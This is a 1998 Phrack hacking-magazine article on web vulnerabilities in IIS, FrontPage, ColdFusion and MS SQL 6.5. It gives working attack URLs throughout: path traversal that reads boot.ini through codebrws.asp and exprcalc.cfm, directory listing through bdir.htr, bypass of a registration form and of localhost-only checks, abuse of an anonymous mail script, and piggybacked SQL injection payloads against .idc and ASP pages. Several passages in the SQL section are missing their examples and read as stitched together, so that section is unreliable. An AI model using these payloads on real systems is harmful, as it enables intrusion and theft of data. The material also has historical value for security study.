Your Ad Here

---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12

-------------------------[ NT Web Technology Vulnerabilities

--------[ rain.forest.puppy / [WT] rfpuppy@iname.com

*Note: most of the vulnerabilities in this document have NOT been made public; they were discovered by rain.forest.puppy, or other members of WT. Lots of new toys out there on the Internet lately. Seems like the web is the way to go, and every software spigot is demanding they be 'web-enabled'. A lot are reinventing the wheel, bundling sub-standard web servers to serve up their HTML and Java interface.

But this article isn't about them. There's too many, and they're to easy to use as vulnerable targets. It's much more fun to find the needle in the haystack, so I'm going to focus on some more common setups. On to the show.

----[ IIS 4.0

IIS is not too bad as a web server. It still doesn't compare to Apache, but it has flexible scripting and server-side abilities. But, of course, everything has its price...

One interesting problem (and probably the only one that may be previously published at the time of this writing) is that appending an ".idc" extension to the end of a URL will cause IIS installations to try to run the so-called .IDC through the database connector .DLL. If the .IDC doesn't exist, than it returns a rather informative page stating that it can't open %documentroot%\.idc. For example:

"Cannot open c:\inetpub\wwwroot\index.html.idc"

Wow, absolute paths on the server. Very interesting. What good does this do? Well, it gives you some insight and hints. If you're trying to exploit CGI or other server-based programs, knowing what drive you're on when trying to access outside documents blindly helps a lot. For example, if the IDC query came back:

f:\webs\1\index.html.idc

then you know you'll probably have to specify 'c:\' to get to any Windows NT system files; you can't do silly stuff like:

../../../../winnt/system/repair/sam._

since you're doing relative addressing, and staying on drive F. Another common return is something like"

"Cannot open d:\20x.140.3x.25\index.html.idc"

Where the IP address is the full IP address of the webserver. This usually indicates that the site is on a system that's probably hosting multiple websites.

Also, usually the site that's based in \inetpub\wwwroot is the 'default' site, and may have other things associated with it (like sample files, etc... We'll get to these later). This is important to remember.

----[ FrontPage Webbots

A really quick recap on how webbots work: Frontpage inserts some HTML comments that specify the parameters of the webbot. Then, the form is submitted to /vtibin/shtml.dll, and the URL of the page is given. shtml.dll reads through the given page, and interprets the webbot/HTML comment code.

So, all the parameters that are involved in (most) webbots are embedded in the HTML page themselves. Let's take an example from a corporate site that makes a very popular FTP suite (this is HTML code):

<!--webbot BOT="GeneratedScript" endspan -->
<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html" 
name="FrontPage_Form1" webbot-action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults" 
u-file="d:\us\product_downloads\download_log.csv"
s-format="TEXT/CSV" s-label-fields="FALSE" s-builtin-fields="Date Time" 
s-form-fields u-confirmation-url="../_confirmations/ftp.html"
startspan -->

Notice that this site is saving the results to a file (and the fact that it has "d:.." says that it is a Windows-based server). But the more important part to notice is the 'u-confirmation-url' field. This page has a large form for you to fill in. When you submit it, what you entered is saved in the 'u-file', and then you're redirected to 'u-confirmation-url'. Don't want to give all your personal information to them? Well, just go to 'u-confirmation-url'. In this case, this was a registration page for download of the eval. Since I got tired of filling out my information all the time, I now just go to the confirmation URL and download away, bypassing the form.

On a related note, if bot="SaveResults", and u-file is in the web structure (which it happens to be a lot on virtually hosted accounts), you're able to view the contents of the file. For instance,

<!--webbot bot="SaveResults" 
u-file="/_private/download.log"
s-format="TEXT/TEXT" s-form-fields startspan -->

means you can go to htp://site/_private/download.log and view all the info everyone else entered.

----[ IIS 3.0 to IIS 4.0

There are several changes between IIS 3.0 and IIS 4.0. Sure, MMC is important and all, but there's something else even better: there are default associations made between certain file extensions and .DLLs. Let's look at a particular example...

In IIS 3.0, you'd administer the website by going to http://site/iisadmin/, which would pop over to using /scripts/iisadmin/ism.dll, and routing the various .HTR files in that directory through itself. The .HTR files are relatively useless without ism.dll to process them, and ism.dll has hard-coded authentication built into it.

Now, upgrade from IIS 3.0 to 4.0. You now administer your site through http://localhost:5416/. What about all those .HTRs in /scripts/iisadmin? They're still there, unless you actually deleted them. And the problem? IIS 4.0 associates all .HTRs with a new and improved ism.dll, which contains no hard-coded authentication. So now, whenever you request a .HTR file, IIS will happily process it for you, not caring about authentication. You can now use the .HTR files in /scripts/iisadmin to your liking. Kinda. None of them work, due to so many changes. EXCEPT FOR ONE: bdir.htr. bdir.htr seems to still be happy, and gladly shows you all the directories on any drive. You can navigate all the server's drives (and network mappings), but all you get to see is directories (no files). In case you're wondering, you can tell bdir.htr where to look by doing

/scripts/iisadmin/bdir.htr??<path>

ie: /scripts/iisadmin/bdir.htr??d:\webs\

I haven't played with the other file extensions, but there's a half-dozen or so that IIS will now happily process (the normal ones like .ASP, .IDC, .HTR, and other unfamiliar ones like .HTW, .IDQ, .IDA, .CER, etc).

----[ Sample pages

While it's not a good idea to put included sample pages and applications on a public server, still many places do. IIS 4.0 includes a rather large and comprehensive demo site called 'Exploration Air', which employs many IIS 4.0 web technologies. An interesting feature is the 'How It Works' button on the bottom of every page, which takes you to a script that parses the pages code into colorful tags. This is a problem.

It uses the Scripting.FileSystemObject to request the page. Luckily, it will only let you use virtual paths; unfortunately, it allows the use of /../ to escape to higher directories, including up into the root directory. This allows it to open any file on the same drive. Using the .IDC bug above to determine where the file rests, you can determine if you can get to WinNT system files. You can also view the code of any page application (.ASP, .CFM, .IDC, etc). For example:

http://site/iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini

could show the Windows NT boot.ini file. It's used in the ExAir sample site, as shown above, and also the SDK, if installed, at http://site/iissamples/sdk/asp/docs/codebrws.asp

----[ Cold Fusion app.server 3.1

Cold Fusion is a rather creative scripting language; it's a nice front end to ODBC database connections. But I wouldn't be mentioning it here if it didn't have any problems.

Like IIS 4.0, there's a few alarming things with the sample pages included with CF. One is the Expression Evaluator at:

http://site/cfdocs/expeval/eval.cfm

They have a security check. It calls check_ip.cfm, which allows access only from 127.0.0.1 (localhost). Bummer, we can't run raw code on the server. But, let's check out:

http://site/cfdocs/expeval/exprcalc.cfm

It still doesn't do us any good, because it still uses eval.cfm to process the expression(s) we enter. But, there's something more interesting: the expression calculator lets us save and load files of expressions to evaluate. And it just so happens that exprcalc.cfm is the form used to LOAD files. And it let's us load any file we want. For instance:

http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini

will display the contents of boot.ini in the window. Just like the IIS codebrws.asp program, we can use it to look at any file we want. However, exprcalc.cfm lets us specify other drive letters, while codebrws.asp is limited to only the current drive.

----[ Anonymous Mail

Very simply and quickly,

/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=

lets you send email. Not exactly a security breach, but not pleasant either. You must fill in the variable values.

----[ Proxy Problems

This is an interesting problem brought about not only by CF, but possibly proxy software in general. CF includes an 'http client' application in

/cfdocs/examples/httpclient/mainframeset.cfm

which lets you type in an URL, and it will show you the HTML code in the bottom window. Now, let's say, remotely I try to administer the IIS 4.0 server that CF is running on by going to http://site:5416/. I get an error stating I have to be local (127.0.0.1). Now, I go to the http-client CF application on that same server. For the URL, I type "http://localhost:5416". I get the correct page as the result. I have effectively bypassed the security check. Using GET commands in the CF http-client application, I can administrate the server.

What's really interesting in theory is that applications like this, and proxys in general, can be used to abuse trust relationships and 'localhost only' security. It'd be interesting in hearing what other people find along this line. One example:

I surf to a company's firewall/web proxy from the 'outside'. I get an error stating 'Denied/Unauthorized Access'. I then request from their proxy 'GET http://localhost/'; and now I get the 'inside' web page with instructions on how to use the proxy correctly to get out. Yes, there's obvious setup problems (allowing outside requests), but that's not the point...

----[ ODBC and MS SQL server 6.5

Ok, topic change again. Since we've hit on web service and database stuff, let's roll with it. Onto ODBC and MS SQL server 6.5.

I worked with a fellow WT'er on this problem. He did the good thing and told Microsoft, and their answer was, well, hilarious. According to them, what you're about to read is not a problem, so don't worry about doing anything to stop it.

Exactly like that, and it'll work. It will return two record sets, with each set containing the results of the individual SELECT.

Now, what if %%criteria from webpage user%% was equal to:

SELECT * FROM sysobjects

It would translate to:

SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects

which would be valid SQL and execute (both commands). But wait, there's more. Say you had:

SELECT * FROM table WHERE x=%%criteria%% AND y=5

If we used our above example, we'd get:

SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5

which isn't valid SQL, and won't work. Well, there's a comment indicator, which tells MS SQL server to just ignore the rest of the line. If criteria is "1 SELECT * FROM sysobjects --", then the '--' causes the rest of the statement ("AND y=5") to be ignored.

would work. However, we need to dynamically specify "namewewant" to be the name the user does want. So, if we write the Sql statement:

SELECT * FROM phonetable WHERE NAME='%name%'

And in our HTML form, we have an input box called 'name'. If this .idc was called 'phone.idc', we'd call it:

http://site/phone.idc?name=rfp

The server would place "rfp" in place of %name%, and query the SQL server to select * where name='rfp'.

Now, stick more commands on the line. Executing our phone.idc from above like so:

phone.idc?name=rfp select * from table2

would lead to an expanded Sql query in the .idc to

SELECT * FROM phonetable WHERE name='rfp select * from table2'

Semi-close, but the single quotes cause all of the stuff to be the selection criteria. What if we introduced OUR OWN single quote?

phone.idc?name=rfp' select * from table2 --

would be

SELECT * FROM phonetable WHERE name='rfp' select * from table2 --'

We need to add the comment to get rid of the trailing single quote. BUT... .idc's are smart...they will escape a single quote into two single quotes, which indicate a data single quote. I.e.

phone.idc?name=rfp' command

will become

SELECT * FROM phonetable WHERE name='rfp'' command'

And since two '' make one data ', the table will be queried for a column that matches:

"rfp' command"

Now wait, if .idc's protect against this, then why the hell am I wasting my breath? You see, they're still vulnerable. They suck when they secretly put an extra single quote into the SQL string. But....when you query numeric values, you don't use single quotes; single quotes are only for strings. So, lets's say we want to use our phone number database, but give a phone number, and look up the associated name. We'll also say that phone numbers are stored as long ints (numeric values), rather than strings, since we need a numeric entry for this example.

So, I want to know who has the phone number 5551212. A hardcoded SQL call would be

SELECT * FROM phonetable WHERE phone=5551212

And the variable version (in an .idc):

SELECT * FROM phonetable WHERE phone=%phonenum%

Whoa! No single quotes to worry about. Now we just do a simple:

phone.idc?phonenum=5551212 select * from table1

And that expands to

SELECT * FROM phonetable WHERE phone=5551212 select * from table1

This is simple to exploit. Since you stuck with the inital 'CREATE TABLE', you must finish that to be a valid command. Giving a table name and a simple column definition will be sufficient. And then we tack on our command, and then a '--' to ignore the rest of the table defs. So,

ctss.idc?table=craptable (f int) select * from table1 --

Would give us

CREATE TABLE craptable (f int) select * from table1 -- \
    (...table defs...)

(However, with ctss.idc, you need to know the DSN, UID, and PWD beforehand... so you're somewhat safe)

Which essentially performs a SELECT * FROM phonetable on the websql DSN, using user=sa, pwd=pwd, on database=master. Then you use fancy formating of 'rec' to display the output in ASP.

Well, let's take into account user supplied variables now.

<% SQLquery="SELECT * FROM phonetable WHERE name='" & _
request.querystring("name") & "'"
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
Set rec = Server.CreateObject("ADODB.RecordSet")
rec.ActiveConnection=Conn
rec.Open SQLquery %>

So, now our variable "name" is stuck into the SQLquery string, between the two ' '. Guess what?! ASP doesn't care about single quotes. It won't be smart like an .IDC and put in the extra ' to make the command ' into a data '. So, what does the SQLquery string look like when we call it like phone.idc? Let's say the above is phone.asp:

phone.asp?name=rfp' select * from table1 --

Gives us SQLquery that is:

SELECT * FROM phonetable WHERE name='rfp' select * from table1 --'

Which works. No sweat.

I'm sure some interesting questions come to mind:

then we have parentheses to deal with. But still doable. The goal is to close out any open parentheses opened before the piggybacked SQL statement, and use -- (comment) to ignore anything after.

Note: we've only had the time (and resources) to conduct batch SQL vulnerabilities against MS SQL server 6.5. We'd be interested in hearing from other people if other DB platforms (Oracle, Informix, etc) are also vulnerable.

----[ Conclusion

Well, that about wraps it up for now. What are the morals to the above stories?

In short, use your brain. Till next time, have fun.

rain.forest.puppy / [WT] rfpuppy@iname.com

----[ EOF